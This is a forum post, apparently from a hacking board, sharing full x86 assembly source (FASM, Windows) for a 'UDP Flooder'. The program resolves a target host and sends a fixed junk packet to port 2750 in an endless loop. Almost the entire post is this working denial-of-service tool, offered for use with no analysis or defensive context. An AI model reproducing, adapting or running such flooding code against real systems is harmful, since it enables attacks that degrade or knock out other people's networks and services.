Jump to content
RUTE

[SOURCE]UDP Flooder

Recommended Posts

Posted
format PE console 4.0
entry start

include 'include\win32a.inc'
section '.data' data readable writeable

; Time between each packets
iSleep equ 500d
; Destination Port
sPort equ 2750d
; Destination Host
sHost db 'remotehost',0
; Packet to Send
sPacket db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0
sPacketl = $ - sPacket
sock dd ?
sin_addr dd ?
sin_port dd ?
saddr sockaddr_in
wsadata WSADATA

section '.code' code readable executable
start:
invoke WSAStartup, 0202h, wsadata
; Declare our UDP Socket
invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17
mov [sock], eax
mov [saddr.sin_family], AF_INET
; Select Port
invoke htons, sPort
mov [saddr.sin_port], ax
; Select IP
invoke gethostbyname, sHost
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
mov [saddr.sin_addr], eax
; Start our infinite loop
.loop:
invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in
cmp eax, 0
je exit
invoke Sleep, iSleep
jmp .loop
; useless part
exit:
invoke closesocket, [sock]
invoke WSACleanup
invoke ExitProcess,0

section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL',\
winsock,'WSOCK32.DLL'

import kernel,\
ExitProcess,'ExitProcess',\
Sleep,'Sleep'

import winsock,\
WSAStartup,'WSAStartup',\
WSACleanup,'WSACleanup',\
socket,'socket',\
sendto,'sendto',\
inet_addr,'inet_addr',\
htons,'htons',\
closesocket,'closesocket',\
gethostbyname,'gethostbyname'

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...